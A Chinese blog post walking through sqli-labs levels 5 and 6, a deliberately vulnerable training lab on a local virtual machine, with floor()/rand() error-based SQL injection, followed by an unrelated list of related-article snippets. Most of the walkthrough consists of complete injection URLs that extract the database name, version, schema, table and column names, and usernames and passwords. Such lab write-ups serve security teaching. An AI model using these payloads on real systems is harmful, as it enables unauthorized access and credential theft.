基于floor函数报错注入sqli-labs less-5和less-6

news/2024/10/11 8:53:41/

sqli-labs第五六关基于floor报错注入

在这里插入图片描述

测试基于虚拟机搭建的靶场,在主机浏览器进行测试
首先能到第五关的对于基础的字符数字型判断,闭合方式,列数判断有一定了解,所以不再进行演示,直接进行数据爆破
关于floor函数报错注入详解可以参考:
关于floor()报错注入,你真的懂了吗?

floor()报错注入的原因是group by在向临时表插入数据时,由于rand()多次计算导致插入临时表时主键重复,从而报错,又因为报错前concat()中的SQL语句或函数被执行,所以该语句报错且被抛出的主键是SQL语句或函数执行后的结果。

直接开始测试

http://192.168.128.3/sq/Less-5/?id=1’ union select 1,count(*),concat(‘~’,(select database()),floor(rand(14)*2)) as a from information_schema.tables group by a --+
爆出数据库

在这里插入图片描述
版本

http://192.168.128.3/sq/Less-5/?id=1’ union select 1,count(*),concat(‘~’,(select version()),floor(rand(14)*2)) as a from information_schema.tables group by a --+

在这里插入图片描述
爆出数据库

http://192.168.128.3/sq/Less-5/?id=1’ union select 1,count(*),concat(‘~’,(select (schema_name) from information_schema.schemata limit 5,1 ),floor(rand(14)*2)) as a from information_schema.tables group by a --+
可以修改limit函数的1来查看所有的数据库

在这里插入图片描述

http://192.168.128.3/sq/Less-5/?id=1’ union select 1,count(*),concat(‘~’,(select table_name from information_schema.tables where table_schema=database() limit 3,1 ),floor(rand(14)*2)) as a from information_schema.tables group by a --+
也可以修改limit函数查看所有表明

在这里插入图片描述
爆出列名

http://192.168.128.3/sq/Less-5/?id=1’ union select 1,count(*),concat(‘~’,(select concat(column_name) from information_schema.columns where table_schema=database() and table_name=‘users’ limit 2,1 ),floor(rand(14)*2)) as a from information_schema.tables group by a --+

在这里插入图片描述

爆出数据

http://192.168.128.3/sq/Less-5/?id=1’ union select 1,count(*),concat(‘~’,(select concat(‘~’,username,password) from security.users limit 1,1 ),floor(rand(14)*2)) as a from information_schema.tables group by a --+

在这里插入图片描述
至此,第五关的基本完成,第六关与第五关同理,只不过闭合方式不同,第六关闭合方式为",对于上面提及的文章,个人十分推崇。


http://www.ppmy.cn/news/1537364.html

相关文章

如何打破双亲委派机制

双亲委派底层运行过程 双亲委派模型对于保证Java程序的稳定运作很重要,但它的实现却非常简单,实现双亲委派的代码都集中在 java.lang.ClassLoader的loadClass()方法之中,代码简单,逻辑清晰易懂:先检查类是否已经被加载过&#xf…

C++之LIST模拟实现(代码纯享版)

目录 文章目录 前言 一、代码 总结 前言 本文主要展示了模拟List的代码实现 一、代码 #pragma once #include<iostream> #include<assert.h> using namespace std; namespace zlh {template<class T>struct list_node{T _data;list_node<T>* _next;l…

Chromium 中chrome.downloads扩展接口c++

一、前端chrome.downloads 使用 chrome.downloads API 以编程方式启动、监控、操作和搜索下载内容。 权限 downloads 您必须在扩展程序清单中声明 "downloads" 权限&#xff0c;才能使用此 API。 {"name": "My extension",..."permiss…

目录工具类 - C#小函数类推荐

此文记录的是目录工具类。 /***目录工具类Austin Liu 刘恒辉Project Manager and Software DesignerE-Mail: lzhdim163.comBlog: http://lzhdim.cnblogs.comDate: 2024-01-15 15:18:00***/namespace Lzhdim.LPF.Utility {using System.IO;/// <summary>/// The Objec…

【Docker从入门到进阶】06.常见问题与解决方案 07.总结与资源

6. 常见问题与解决方案 在使用Docker进行开发和部署过程中&#xff0c;可能会遇到各种问题。以下是一些常见问题及其解决方案&#xff1a; 容器启动失败和调试 在使用 Docker 时&#xff0c;容器启动失败或立即退出可能会导致一定的困扰&#xff0c;以下是进一步深入解决该问…

Visual Studio 2022安装(含重生版)

前言&#xff1a; 昨天调试代码的时候发现程序怎么都运行不了&#xff0c;错误显示无法找到文件啊啊啊&#xff0c;能力有限&#xff0c;找不出错误源&#xff0c;然后就狠心删掉所有相关文件来“重新开始”&#xff01; 正文&#xff1a; 1.官网下载&#xff08;内定中文版…

鸿蒙next开发者第一课02.DevEcoStudio的使用-习题

【习题】DevEco Studio的使用 通过/及格分80/ 满分100 判断题 1. 如果代码中涉及到一些网络、数据库、传感器等功能的开发&#xff0c;均可使用预览器进行预览。F 正确(True)错误(False) 预览器不能进行传感器等特殊功能的开发,需要使用真机开发 2. module.json5文件中的…

实用Linux脚本

MySQL备份 #!/bin/bashset -eUSER"backup" PASSWORD"backup" # 数据库数据目录 # DATA_DIR"/data/mysql" BIN_INDEX$DATA_DIR"/mysql-bin.index" # 备份目录 # BACKUP_DIR"/data/backup/mysql" BACKUP_LOG"/var/log/m…